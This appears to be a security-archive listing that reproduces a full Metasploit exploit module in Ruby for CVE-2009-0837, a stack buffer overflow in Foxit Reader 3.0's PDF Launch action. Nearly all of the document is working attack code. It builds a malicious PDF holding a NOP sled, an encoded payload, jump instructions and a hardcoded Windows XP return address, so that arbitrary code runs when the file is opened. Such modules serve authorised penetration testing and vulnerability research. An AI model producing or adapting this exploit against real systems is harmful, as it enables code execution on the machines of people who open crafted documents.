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Foxit Reader 3.0 Open Execute Action Stack Based Buffer Overflow

Foxit Reader 3.0 Open Execute Action Stack Based Buffer Overflow
Posted May 22, 2012
Authored by bannedit, Francisco Falcon | Site metasploit.com

This Metasploit module exploits a buffer overflow in Foxit Reader 3.0 builds 1301 and earlier. Due to the way Foxit Reader handles the input from an "Launch" action, it is possible to cause a stack-based buffer overflow, allowing an attacker to gain arbitrary code execution under the context of the user.

tags | exploit, overflow, arbitrary, code execution
advisories | OSVDB-55614
MD5 | dd101f060050f721d607dcf105579673

Foxit Reader 3.0 Open Execute Action Stack Based Buffer Overflow

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'zlib'

class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})
super(update_info(info,
'Name' => 'Foxit Reader 3.0 Open Execute Action Stack Based Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in Foxit Reader 3.0 builds 1301 and earlier.
Due to the way Foxit Reader handles the input from an "Launch" action, it is possible
to cause a stack-based buffer overflow, allowing an attacker to gain arbitrary code
execution under the context of the user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Francisco Falcon', # Discovery
'bannedit' # Metasploit module
],
'Version' => '$Revision: 14069 $',
'References' =>
[
[ 'CVE' , '2009-0837' ],
[ 'OSVDB', '55614' ],
[ 'BID', '34035'],
[ 'URL', 'http://www.coresecurity.com/content/foxit-reader-vulnerabilities']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'DisablePayloadHandler' => 'true',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0d\x22\x28\x29\x2F\x5c\x3c\x3e\x5e\x7e"
},
'Platform' => 'win',
'Targets' =>
[
[ 'Foxit Reader 3.0 Windows XP SP2', { 'Ret' => 0x74d34d3f} ], # ebp + offset
],
'DisclosureDate' => 'Mar 09 2009',
'DefaultTarget' => 0))

register_options([
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),
], self.class)

end

def exploit
pdf = make_pdf
file_create(pdf)
handler
end

def make_pdf
action = "\n<</Type/Action/S/Launch/F<</F(/C/" # Open Execute Action
action << make_nops(321 - 5) # make_nops(21)
action << payload.encoded
action << "\xe9\xe8\xfb\xff\xff" # Jmp back to the NOPs before the payload
action << "\xeb\xf9" + make_nops(2) # Jmp to the near jump
action << [target.ret].pack('V')
action << "\x92" * 16
action << ")>>/NewWindow true>>"

pdf = "%PDF-1.4\n"
pdf << "1 0 obj\n"
pdf << "<</Type/Page/Parent 4 0 R /Resources 6 0 R /MediaBox[ 0 0 000 000]"
pdf << "/Group<</S/Transparency/CS/DeviceRGB/I true>>/Contents 2 0 R "
pdf << "/Annots[ 24 0 R 25 0 R 9 0 R ]>>\n"
pdf << "endobj\n"
pdf << "4 0 obj\n"
pdf << "<</Type/Pages/Resources 6 0 R /MediaBox[ 0 0 000 000]/Kids[ 1 0 R ]/Count 1>>\n"
pdf << "endobj\n"
pdf << "7 0 obj\n"
pdf << "<</Type/Catalog/Pages 4 0 R /OpenAction[ 1 0 R /XYZ null null 0]/Lang(en-US)/Names 28 0 R >>\n"
pdf << "endobj\n"
pdf << "9 0 obj\n"
pdf << "<</Type/Annot/Subtype/Screen/P 1 0 R /M(E:000000000000000-00'00')/F 4/Rect[ "
pdf << "000.000 000.000 000.000 000.000]/BS<</S/S/W 1>>/BE<</S/S>>/MK<</BC[ 0 0 1]"
pdf << "/R 0/IF<</SW/A/S/A/FB false/A[ 0.5 0.5]>>>>/AP<</N 10 0 R >>/T()/A 12 0 R /AA 17 0 R >>\n"
pdf << "endobj\n"
pdf << "16 0 obj\n"
pdf << action
pdf << "endobj\n"
pdf << "17 0 obj\n"
pdf << "<</PV 16 0 R >>\n"
pdf << "endobj\n"
pdf << "trailer\n"
pdf << "<</Root 7 0 R /Info 8 0 R /ID[<00000000000000000000000000000000><00000000000000000000000000000000>]"
pdf << "/DocChecksum/00000000000000000000000000000000/Size 31>>\n"
pdf << "startxref\n"
pdf << "0000\n"
pdf << "%%EOF\n"
pdf
end
end

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